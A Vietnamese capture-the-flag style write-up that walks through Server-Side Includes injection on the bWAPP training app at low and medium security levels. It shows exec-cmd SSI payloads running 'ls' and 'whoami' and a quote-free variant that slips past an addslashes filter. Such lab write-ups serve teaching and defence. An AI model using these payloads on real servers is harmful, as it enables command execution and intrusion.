bWAPP

Server-Side Includes (SSI) Injection

Tổng quan về Server-Side Includes (SSI) Injection:

- Server-Side Includes (SSI) Injection là gì?

Server-Side Includes (SSI) Injection là một lỗ hổng xảy ra khi kẻ tấn công có thể đưa mã độc hại vào các tập lệnh hoặc trang phía máy chủ được xử lý bởi cơ chế bao gồm phía máy chủ. SSI là công nghệ phía máy chủ cho phép các nhà phát triển bao gồm các tệp bên ngoài hoặc thực thi các quy trình phía máy chủ trong các trang web.

Khi một ứng dụng dễ bị tấn công bởi SSI Injection, kẻ tấn công có thể khai thác lỗ hổng này bằng cách đưa lệnh hoặc lệnh SSI vào các trường đầu vào do người dùng kiểm soát, chẳng hạn như tham số URL, đầu vào biểu mẫu hoặc cookie. Sau đó, các lệnh hoặc lệnh được đưa vào này sẽ được máy chủ xử lý và thực thi, cho phép kẻ tấn công thực hiện nhiều hành động độc hại khác nhau.

Và sau đây chúng ta sẽ tấn công Server-Side Includes (SSI) Injection với bWAPP

- Level Low

Đây là hình ảnh ban đầu của trang web chúng ta sẽ tấn công vào

Đầu tiên thì ta cứ làm những thao tác bình thường để xem trang web sẽ hoạt động như nào trước hết ta sẽ điền thông tin vào các text box

Và website sẽ trả lại cho ta những thông tin như IP của chúng ta

Hello Nguyen NDX,

Your IP address is:

127.0.0.1

Giờ ta sẽ thử tiêm một vài câu lệnh SSI vào trang web này bằng các thử một vài câu lệnh như sau

```
<!--#exec cmd="ls" -->
```

Và ta sẽ được trả lại toàn bộ file trong hệ thống này

Hello 666 admin aim.php apps ba_captcha_bypass.php ba_forgotten.php
ba_insecure_login.php ba_insecure_login_1.php ba_insecure_login_2.php
ba_insecure_login_3.php ba_logout.php ba_logout_1.php ba_pwd_attacks.php
ba_pwd_attacks_1.php ba_pwd_attacks_2.php ba_pwd_attacks_3.php
ba_pwd_attacks_4.php ba_weak_pwd.php backdoor.php bof_1.php bof_2.php
bugs.txt captcha.php captcha_box.php clickjacking.php commandi.php
commandi_blind.php config.inc config.inc.php connect.php connect_i.php
credits.php cs_validation.php csrf_1.php csrf_2.php csrf_3.php db
directory_traversal_1.php directory_traversal_2.php documents fonts
functions_external.php heartbleed.php hostheader_1.php hostheader_2.php
hpp-1.php hpp-2.php hpp-3.php htmli_current_url.php htmli_get.php
htmli_post.php htmli_stored.php http_response_splitting.php
http_verb_tampering.php iframei.php images index.php info.php info_install.php
information_disclosure_1.php information_disclosure_2.php
information_disclosure_3.php information_disclosure_4.php
insecure_crypt_storage_1.php insecure_crypt_storage_2.php
insecure_crypt_storage_3.php insecure_direct_object_ref_1.php
insecure_direct_object_ref_2.php insecure_direct_object_ref_3.php

Hay ta cũng có thể sử dụng câu lệnh này để biết chúng ta đang sử dụng user nào trong hệ thống

```
<!--#exec cmd="whoami" -->
```

Hello www-data NDX,

Your IP address is:

127.0.0.1

Ta thấy được ta đang ở user www-data

Từ những câu lệnh này chúng ta có thể lấy được dữ liệu của trang web này

- Level Medium

Giờ chúng ta sẽ chuyển sang level Medium và thử lại cách tiêm cũ

Và nó đã không còn hoạt động nữa

Hello NDX ,

Your IP address is:

127.0.0.1

Và chúng ta sẽ xem qua hàm fiter của trang web đã sử dụng cho level này

```
switch($_COOKIE["security_level"])  {
      case "0" :
         $data = no_check($data);
         break;
      case "1" :
         $data = xss_check_4($data);
         Break;
      case "2" :
         $data = xss_check_3($data);
         break;
      default :
         $data = no_check($data);
        break;   }
   return $data;}
```

Ở đây chúng ta thấy được trang web sử dụng hàm xss_check_4 để fiter đầu vào ở level Medium

```
function xss_check_4($data){
// addslashes - returns a string with backslashes before characters that need to be quoted in database queries etc.
// These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
// Do NOT use this for XSS or HTML validations!!!
 return addslashes($data);
}
```

Ở đâu trang web đã sử dụng hàm addslashes() để fiter đầu vào và nó sẽ thêm vào trước những kí tự đặc biệt như “”,’”’, “\”, và Null và đặt trước nó kí tự “\” và giờ ta sẽ phải tìm cách để đi qua nó.

Ở bài này thì cũng không quá phức tạp chúng ta chỉ cần bỏ đi những kí tự đặc biệt để có thể tiêm vào là được. Ở câu lệnh dưới đâu ta đã bỏ đi 2 ký tự ‘”’ ở whoami để có thể tiêm được SSI

```
<!--#exec cmd=whoami -->
```

Và đây là kết quả ta nhân được

Hello NDX www-data ,

Your IP address is:

127.0.0.1

Vậy là chúng ta đã thành công để đi qua level Medium Server-Side Includes (SSI) Injection của trang web bWAPP. Còn ở level High được filter bởi htmlspecialchars nên dường như trang web đã không còn lỗ hổng nào chúng ta có thể khai thác được nữa.